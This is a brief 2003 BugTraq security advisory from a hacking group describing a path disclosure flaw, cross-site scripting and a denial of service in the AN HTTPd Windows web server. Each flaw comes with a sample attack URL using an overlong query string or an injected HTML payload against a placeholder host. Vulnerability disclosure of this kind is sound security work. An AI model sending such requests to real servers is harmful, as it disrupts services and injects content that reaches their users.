BugTraq
AN HTTPd v.1.41e: DoS, CSS, real patch attack Jan 04 2003 02:12PM
D4rkGr3y (grey_1999 mail ru)
#####################################################*
# Damage Hacking Group security advisory
# www.dhgroup.org
#####################################################*
#Product: AN HTTPd server
#Authors: [www.st.rim.or.jp]
#Vulnerability: DoS, CSS, 'real patch' attack
######################################################*

#Overview#--------------------------------------------------------------
#
This is Japanez http-server for win32-platforms. U can download it from
www.st.rim.or.jp.

#Problem#---------------------------------------------------------------
#
(1) real patch attack:
http://www.vuln_host.com/[script]?aaaaaa..[1kb]...aaaaaa
Where [script] - any cgi\batch script.
(2) CSS:
http://www.vuln_host.com/[script]?<h1>HACKED</h1>aaaa..[up_to_1kb]..aaaa

(3) DoS:
http://www.vuln_host.com/aux.cgi?aaaa..[1kb]..aaaa
AN HTTPd will return error "broken pipe" every time,
when somebody will execute any cgi\batch scripts on it.

#Fix#-------------------------------------------------------------------
-#
Download Apache or OmniHTTPd :)

#Exploit#---------------------------------------------------------------
-#
------
#EOF

Best regards www.dhgroup.org
D4rkGr3y icq 540981

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